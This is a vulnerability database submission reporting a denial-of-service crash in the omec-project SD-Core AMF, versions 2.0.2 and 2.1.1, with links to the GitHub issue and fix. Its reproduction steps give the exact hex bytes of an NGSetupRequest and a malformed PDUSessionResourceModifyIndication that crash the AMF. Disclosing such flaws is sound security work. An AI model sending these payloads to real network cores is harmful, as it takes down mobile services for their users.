| Titre | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Description | PDUSessionResourceModifyIndication with invalid information element causes AMF to crash and leads to denial of service.
AMF Version: Tested on v2.0.2, v2.1.1
Reproduction Step:
Send these sequence of messages
NGSetupRequest
00 15 00 33 00 00 05 00 1b 00 08 00 00 f1 10 00 00 06 6c 00 52 40 05 01 00 52 41 4e 00 66 00 0d 00 00 00 00 07 00 00 f1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00
PDUSessionResourceModifyIndication
00 1B 00 22 00 00 03 00 0A 00 02 00 00 00 55 00 02 00 00 00 3F 00 0F 00 00 00 0B 00 00 00 00 00 00 00 00 01 00 00
Issue Reported: https://github.com/omec-project/amf/issues/677
Issue Fixed: https://github.com/omec-project/amf/pull/666
Update to latest version. |
|---|
| La source | ⚠️ https://github.com/omec-project/amf/issues/677 |
|---|
| Utilisateur | shovon0203 (UID 96191) |
|---|
| Soumission | 01/06/2026 21:35 (il y a 1 mois) |
|---|
| Modérer | 03/07/2026 19:01 (1 month later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 376140 [omec-project amf jusqu’à 2.0.2/2.1.1 NGSetupRequest handler.go déni de service] |
|---|
| Points | 20 |
|---|